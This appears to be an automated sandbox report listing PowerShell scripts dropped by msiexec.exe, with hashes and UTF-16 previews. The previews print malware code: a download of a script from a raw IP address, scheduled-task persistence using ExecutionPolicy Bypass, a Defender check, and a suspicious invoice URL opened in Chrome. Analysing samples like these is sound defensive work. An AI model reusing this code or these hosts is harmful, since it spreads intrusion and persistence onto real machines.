.{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.g.

C:\Users\user\AppData\Local\Temp\pss296F.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	676
Entropy (8bit):	3.5822261637654784
Encrypted:	false
SSDEEP:	12:QwlA07RmS2Wlv59lhubdpn+QHIl0R4bdaq568J4NJzZtHsKW02UQlUMMlWlhynbg:QwlA07wW1Tlhqdp+N0R4bAqk8JQJ1VsN
MD5:	A38B5B218081149CF44BD73AEC743C05
SHA1:	6C414FDC1A533AF5CF31675917EBBC9DC604AD18
SHA-256:	DEA813E9CF8FECCB42A1D5666898495C792F883C6312B6D0988F747854ABAEF2
SHA-512:	FA185B25DF469558D992097AB2FD655DAE95E539F0BF6C79B8BE8DF7F920C9CB6F9607A9A23B6F410B788EEAAB331CCC17AECB0501916DF3DDA39E99AC595EDC
Malicious:	false
Preview:	..#. .C.a.m.i.n.h.o. .p.a.r.a. .o. .G.o.o.g.l.e. .C.h.r.o.m.e. .(.a.j.u.s.t.e. .s.e. .n.e.c.e.s.s...r.i.o.).....$.c.h.r.o.m.e.P.a.t.h. .=. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.".........#. .U.R.L. .q.u.e. .d.e.s.e.j.a. .a.b.r.i.r.....$.u.r.l. .=. .".h.t.t.p.s.:././.y.q.v.n.-.6.3.9.1.8.2.4.-.m.e.t.a.f.l.u.x.-.x.y.t.r.m.n.w.l.-.2.4.6...1.m.p.3...o.r.g./.f.a.t.u.r.a./.f.a.t.u.r.a...h.t.m.l.".........#. .A.b.r.e. .o. .G.o.o.g.l.e. .C.h.r.o.m.e. .c.o.m. .o. .l.i.n.k. .e.s.p.e.c.i.f.i.c.a.d.o.....S.t.a.r.t.-.P.r.o.c.e.s.s. .-.F.i.l.e.P.a.t.h. .$.c.h.r.o.m.e.P.a.t.h. .-.A.r.g.u.m.e.n.t.L.i.s.t. .$.u.r.l.

C:\Users\user\AppData\Local\Temp\pss2970.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.394790120759676
Encrypted:	false
SSDEEP:	12:QilRKQ1NH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9/H/vo3F1sQ54N8y3El4Zo
MD5:	2BF66C21675DAF27AB22BDD4E71006BD
SHA1:	3B09DDEDB20A149E1523F1B96FB5A6EFA2DD6B56
SHA-256:	65B4BD75176BD9912454C31FC364FAC109EFA3E2C5D8F4727A8B9AF924268983
SHA-512:	37514E7FAE7957806DBC1B39A7D85AB2221BF71D74DAAFE7D8B62CA4234AB8707D07C2FF4FBC6350CF9AB4B404D7B2019346894C8F14FFF950B0F7D0FAFE107F
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.2.9.6.F...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss3FAA.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	5824
Entropy (8bit):	3.54733605920018
Encrypted:	false
SSDEEP:	96:H98KWTql/tY8JAzdZYNT3Flf6Bw0kODikODTRG7E0OW1WeqVetYJXODPFxiYlSIJ:yTeW8JNT3ffoTkcikcrLemHZcFJJ
MD5:	448443D7F7B4017EF3A02DEC7F9CB55A
SHA1:	E6878D918B418A3F1611EA0BFDB08E5A5909DF69
SHA-256:	7676622E974C304AEDB7B212B0197D50F771A056EC00A399950AFE17B033CF9F
SHA-512:	477F7B46ED6431BBF4A0CA982EE1D91A555EB9B6CA168889CBDBCBDF7FC052AA373BD8C18D429B6ACC9FE08C13C910DDB480355708D1FFC875037BBD4E956070
Malicious:	false
Preview:	..#. .v.e.r.i.f.i.c.a. .o. .d.f.....#.$.c.h.e.c.k.D.e.f.e.n.d.e.r.S.c.r.i.p.t. .=. .{.....#. . . . .i.f. .(.(.G.e.t.-.M.p.P.r.e.f.e.r.e.n.c.e.)...D.i.s.a.b.l.e.R.e.a.l.t.i.m.e.M.o.n.i.t.o.r.i.n.g. .-.e.q. .$.f.a.l.s.e.). .{.....#. . . . . . . . .S.t.a.r.t.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .'.A.T.D.'.....#. . . . .}. .....#.}.....#.....#.....#.$.a.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".P.o.w.e.r.S.h.e.l.l...e.x.e.". .-.A.r.g.u.m.e.n.t. .".-.N.o.P.r.o.f.i.l.e. .-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.C.o.m.m.a.n.d. .&. .{.$.c.h.e.c.k.D.e.f.e.n.d.e.r.S.c.r.i.p.t.}.".....#.....#.....#.$.T.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.1.5.). .-.R.e.p.e.t.i.t.i.o.n.I.n.t.e.r.v.a.l. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.M.i.n.u.t.e.s. .1.0.). .-.R.e.p.e.t.i.t.i.o.n.D.u.r.a.t.i.o.n. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.D.a.y.s. .3.0.0.).....#.....#.....

C:\Users\user\AppData\Local\Temp\pss3FBB.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3899514110822566
Encrypted:	false
SSDEEP:	12:QilRKQ1DH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9RH/vo3F1sQ54N8y3El4Zo
MD5:	F1A18B24DF06D0B79E29BDF9F14C57AC
SHA1:	C313A629DC37CEED8451971EF94C0B15E765A7BB
SHA-256:	36259162CB749A6A6EEF32F5E6AD8900FA05AE82B509E1BC81F0DAE9FA99D68E
SHA-512:	01EA63B3C7CB60166AEBE171DCEC54D98C9EA4C5F2A9DB22EAAC7C413752289DC6D7E43BCC30F6D6C8A5393590894032C7EF54BB756F918AF7E315F35DD9B958
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.3.F.A.A...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss4E64.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	4808
Entropy (8bit):	3.606117907741179
Encrypted:	false
SSDEEP:	96:MTqIp8j/fxnTIoZIbtYbJAzRVY5p8Bp8eorGbkYzn1qVUtY1JAzwa7Y5XpbF0:Mnk/fF9bB5Ur1mx1NFZ/0
MD5:	1A38B05522EFB8AC7E48555E08DE55D4
SHA1:	C5F496D3F6184150A495CDF0AB1C59393BC12D5C
SHA-256:	DE2844F0A7C5D97894010BA57B92007C5EC87AB512689EE27536CD0BEE1F77EA
SHA-512:	55ECD8C9B113CB0D3307D681C0A0073A3672CAAB2CE747007B7C11A96074832CFA7719B1E51B87BD29BF2B2EB38422DDA4A80C66CB7F8F6E1015A3BB77030A0C
Malicious:	false
Preview:	..#. .1... .C.o.n.f.i.g.u.r.a.....o. .d.o. .U.R.L. .e. .c.a.m.i.n.h.o. .d.o. .a.r.q.u.i.v.o.....$.s.c.r.i.p.t.U.r.l. .=. .".h.t.t.p.:././.1.9.2...1.2.4...2.1.6...1.4./.v.d./.s.i.s./.D.o.w.n.S.i.s.t.e.m...p.s.1.".....$.s.c.r.i.p.t.P.a.t.h. .=. .".C.:.\.t.e.m.p.\.D.o.w.n.S.i.s.t.e.m...p.s.1.".........#. .2... .C.r.i.a.r. .t.a.r.e.f.a. .a.g.e.n.d.a.d.a. .p.a.r.a. .b.a.i.x.a.r. .o. .a.r.q.u.i.v.o. .D.o.w.n.S.i.s.t.e.m...p.s.1. .a.p...s. .2.0. .m.i.n.u.t.o.s.....$.d.o.w.n.l.o.a.d.C.o.m.m.a.n.d. .=. .@.".....i.f. .(.-.n.o.t. .(.T.e.s.t.-.P.a.t.h. .'.C.:.\.t.e.m.p.'.).). .{..... . . . .N.e.w.-.I.t.e.m. .-.I.t.e.m.T.y.p.e. .D.i.r.e.c.t.o.r.y. .-.P.a.t.h. .'.C.:.\.t.e.m.p.'. .-.F.o.r.c.e. .\|. .O.u.t.-.N.u.l.l.....}.....t.r.y. .{..... . . . .I.n.v.o.k.e.-.W.e.b.R.e.q.u.e.s.t. .-.U.r.i. .'.h.t.t.p.:././.1.9.2...1.2.4...2.1.6...1.4./.v.d./.s.i.s./.D.o.w.n.S.i.s.t.e.m...p.s.1.'. .-.O.u.t.F.i.l.e. .'.C.:.\.t.e.m.p.\.D.o.w.n.S.i.s.t.e.m...p.s.1.'. .-.U.s.e.B.a.s.i.c.P.a.r.s.i.n.g..... . . . .W.r.i.t.

C:\Users\user\AppData\Local\Temp\pss4E65.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3907854415631893
Encrypted:	false
SSDEEP:	12:QilRKQ1crEpH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9WrQH/vo3F1sQ54N8y3El4Zo
MD5:	35EA575D9DD7C268683C0162FFF4F794
SHA1:	A4700697CD23BF537E1C05D5C49881615A0F8520
SHA-256:	88D402550C45BDC86FAF624EDB4A51984C448443B080E79A2694787F423E1121
SHA-512:	4E0600DBB9D62E7635B4BD1000E7B13F15561C3C028CBC2719DE88BD5A5C6E44EF569E50DB10BCDC4332B90917457FF889554DFCEE6D8955B00FCC912560EE2E
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.4.E.6.4...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss6557.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	3.5673020262078707
Encrypted:	false
SSDEEP:	24:QZoxiDtOzBS9YJMwUN6ODlQ6MwUMFJi+Mph+MVhBnqUp7kHMKMGIFg6MwUyUyxKj:tiULZOD7rFs+oh+CxqUpgHMpGi1s1UXu
MD5:	CB5BB8917908D375C22C12342748A581
SHA1:	1B43400B6F750A95F9E025F28AB086E3E6E98547
SHA-256:	E142C38A9D62CC3011C5BFBD38E3F36F4C9CDCA59E03607B5F906E4A10AC9E9C
SHA-512:	301C0B9AA643F2545FE2A60C0E44FE4887E6BE6B013E8E4854287F56F0A0008E0891FB1BD871E961E47DD5F7A8A447B74378BF4531C978834B9E8E6DA623676C
Malicious:	false
Preview:	......$.t.a.s.k.N.a.m.e. .=. .".e.x.e.0.1.a.a.".....$.e.x.e.P.a.t.h. .=. .".C.:.\.L.o.c.a.l.N.o.w.\.E.x.t.r.a.c.t.e.d.\.0.1.a.a...e.x.e.".....$.u.s.e.r. .=. .".$.e.n.v.:.U.S.E.R.N.A.M.E.". . .............i.f. .(.G.e.t.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .$.t.a.s.k.N.a.m.e. .-.E.r.r.o.r.A.c.t.i.o.n. .S.i.l.e.n.t.l.y.C.o.n.t.i.n.u.e.). .{..... . . . .U.n.r.e.g.i.s.t.e.r.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .$.t.a.s.k.N.a.m.e. .-.C.o.n.f.i.r.m.:.$.f.a.l.s.e.....}.............$.a.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".$.e.x.e.P.a.t.h.".............$.t.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.2.5.). .-.R.e.p.e.t.i.t.i.o.n.I.n.t.e.r.v.a.l. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.M.i.n.u.t.e.s. .1.). .-.R.e.p.e.t.i.t.i.o.n.D.u.r.a.t.i.o.n. .(.[.t.i.m.e.s.p.a.n.].:.:.F.r.o.m.D.a.y.s.(.5.0.0.0.0.).).............R.e.g.i.s.t.e.r.-.S.c.h.e.d.u.l.e.

C:\Users\user\AppData\Local\Temp\pss6568.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.394790120759676
Encrypted:	false
SSDEEP:	12:QilRKQ1HH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9VH/vo3F1sQ54N8y3El4Zo
MD5:	05BC9A4F07E63BB2E28FFC08C8C8C8BA
SHA1:	BC78784CBC9DD2B1A025B4E606FE7F2032F3B397
SHA-256:	6466060AACF456E332EAF9ED6F051B5355E8F03370F0A2CC2493DEC1A649BC4B
SHA-512:	6A8A0FE69BD920FD466F802E39D8D82CBF40745F9D51D15626D65F0766F22E51D926DE034211B037E3CC12B455AD3834602BC7091C3BBFB3A5BD7DA2E7E33678
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.6.5.5.7...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss8A87.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3908
Entropy (8bit):	3.2366106229222797
Encrypted:	false
SSDEEP:	96:hGj+l3OQ0IMaDaiyOSAi0so4z8Alae4Amn4XHm/ZlzEI+LXDi4DEaaQxY:hGe3XiaDaiylAi0x4wC4/42d3a1a
MD5:	1F83F7D6C1A3302B3F8FCD0A4F999C42
SHA1:	41E88FE11C6436644F8E5D2932F29B7F8E244889
SHA-256:	910F39801EC65D37417B7A871E049B74903CE16330CEAA680E096919CE0935FC
SHA-512:	3330812977BC70A03298C280EE40C2C80E3C178E92E21FC1B448571FF6FABD2482970B7432642977BD585A6016054C00749C7C468432300EDA23BF99557B3CE2
Malicious:	false
Preview:	..#. .E.L.M.I.N.A.R. .L.K. .A.N.T.I.G.A.....$.d.i.r.e.c.t.o.r.y.P.a.t.h. .=. .".C.:.\.".........$.f.o.l.d.e.r.s. .=. .G.e.t.-.C.h.i.l.d.I.t.e.m. .-.P.a.t.h. .$.d.i.r.e.c.t.o.r.y.P.a.t.h. .-.D.i.r.e.c.t.o.r.y. .\|. .W.h.e.r.e.-.O.b.j.e.c.t. .{. .$._...N.a.m.e...E.n.d.s.W.i.t.h.(."...".). .}.........i.f. .(.$.f.o.l.d.e.r.s...C.o.u.n.t. .-.g.t. .0.). .{..... . . . .f.o.r.e.a.c.h. .(.$.f.o.l.d.e.r. .i.n. .$.f.o.l.d.e.r.s.). .{..... . . . . . . . ..... . . . . . . . .$.m.u.s.t.e.r.F.i.l.e. .=. .J.o.i.n.-.P.a.t.h. .-.P.a.t.h. .$.f.o.l.d.e.r...F.u.l.l.N.a.m.e. .-.C.h.i.l.d.P.a.t.h. .".M.u.s.t.e.r."..... . . . . . . . ..... . . . . . . . .i.f. .(.T.e.s.t.-.P.a.t.h. .-.P.a.t.h. .$.m.u.s.t.e.r.F.i.l.e.). .{..... . . . . . . . . . . . ..... . . . . . . . . . . . .$.e.x.e.F.i.l.e. .=. .G.e.t.-.C.h.i.l.d.I.t.e.m. .-.P.a.t.h. .$.f.o.l.d.e.r...F.u.l.l.N.a.m.e. .-.F.i.l.t.e.r. .".*...e.x.e.". .-.F.i.l.e. .-.E.r.r.o.r.A.c.t.i.o.n. .S.i.l.e.n.t.l.y.C.o.n.t.i.n.u.e. .\|. .S.e.l.e.c.t.-.O.b.j.e.c.t. .-.F.i.

C:\Users\user\AppData\Local\Temp\pss8A88.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.392568437290189
Encrypted:	false
SSDEEP:	12:QilRKQ1+H/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9gH/vo3F1sQ54N8y3El4Zo
MD5:	196DDBF0894E9250A1D94909EF774024
SHA1:	FEE3ED04095CBAB103F8F3CC0B6DEA0064B18B5D
SHA-256:	B2449D57CCD00E0AE3D15F3BD86241D31436DB884D41855F26AD46B3D1A18EFC
SHA-512:	DACE7D0275F06148E736370E0F503A815AE841F83ED88FD04CF085BE48CA6DB10CDFEC0C2A1F0A53C03717A7FF93A5A2CF6290D775DCF1D987DA97AC76AC60D2
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.8.A.8.7...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss9AC2.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	3.5833971722279934
Encrypted:	false
SSDEEP:	48:3k5QWV9+Q+o6HnL+CWqUpgHGp5IM+iYwl+G+JAzeJRZYPup:U5nVwocWqVEtYvJAzMZYW
MD5:	65E41C406B289BD6A098A94D200572E6
SHA1:	82683A7104639B7F7BEDD258BAF4C85FA63A1F81
SHA-256:	568637A2C65CD04178943974CE969BCE5B32987509F8CECA63AA39BD7ACEC40B
SHA-512:	6F427EBED0FB4E7749BF480E6ED9A7D1BD03C03B9698DF668C60CE64AD501B566BD98D6554FD6C47B25CF7538F3D615BA789888B00F648830030EAA7DE17F36F
Malicious:	false
Preview:	..#. .C.R.I.A.R. .T.F. .D.E. .D.E.S. .D.F.........i.f. .(.!.(.T.e.s.t.-.P.a.t.h. .-.P.a.t.h. .".C.:.\.t.e.m.p.".).). .{..... . . . .N.e.w.-.I.t.e.m. .-.I.t.e.m.T.y.p.e. .D.i.r.e.c.t.o.r.y. .-.P.a.t.h. .".C.:.\.t.e.m.p.".....}.............$.s.c.r.i.p.t.P.a.t.h. .=. .".C.:.\.t.e.m.p.\.s.i.s.t.e.m.a...p.s.1.".............$.A.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".P.o.w.e.r.S.h.e.l.l...e.x.e.". .-.A.r.g.u.m.e.n.t. .".-.N.o.P.r.o.f.i.l.e. .-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.F.i.l.e. .$.s.c.r.i.p.t.P.a.t.h.".............$.T.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.2.2.). .-.R.e.p.e.t.i.t.i.o.n.I.n.t.e.r.v.a.l. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.M.i.n.u.t.e.s. .1.). .-.R.e.p.e.t.i.t.i.o.n.D.u.r.a.t.i.o.n. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.D.a.y.s. .1.0.0.).............$.P.r.i.n.c.i.p.a.l. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.P.r.i.n.c.i.p.a.l. .-.U.

C:\Users\user\AppData\Local\Temp\pss9AD3.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3894231675080198
Encrypted:	false
SSDEEP:	12:QilRKQ18iH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9WiH/vo3F1sQ54N8y3El4Zo
MD5:	540A344233BE428A6067AEB74F8AD76B
SHA1:	8D1729F20F6EBC36BB98137A61EA950515AC1CC3
SHA-256:	661FE5B447192483ED94C68C04980FBF911489111B82DAAC00B27F2D6F83C4A5
SHA-512:	12B2E89D9F5B5EAFA1AC66483C8833616E2BC7F9585F876518527CD174A3ABEC0A7BEBACF5E9EBDE8B079749379936D3A9DF30BE684CD4B8DC0760D9B9F283FD
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.9.A.C.2...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pssA5A4.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	5680
Entropy (8bit):	3.450276794552948
Encrypted:	false
SSDEEP:	96:PZBOuji7Sx6OKNb/gOi/tMpKWgSvRB1017WQqVHtYJGODPFciYdIgk:P/Os6KztMkWfoZmuUcIap
MD5:	B8309BE119765EB5826A6C941E2852AD
SHA1:	38B4EA17A5EC1D06E63EA9EAF99E419DCDD90226
SHA-256:	FCD62814C786D993B327F77758C2ABDE10B1D7408D9674EF52CB23222EAA8DF6
SHA-512:	04341BA97FB414972AD08C64BDD6D658AF5A5048F4620C82EADFD374003010C08F3C1D0D22C769FCA35BFA15027D3A24047CB89DB3A9FBC3F1C880C51C7E94A8
Malicious:	false
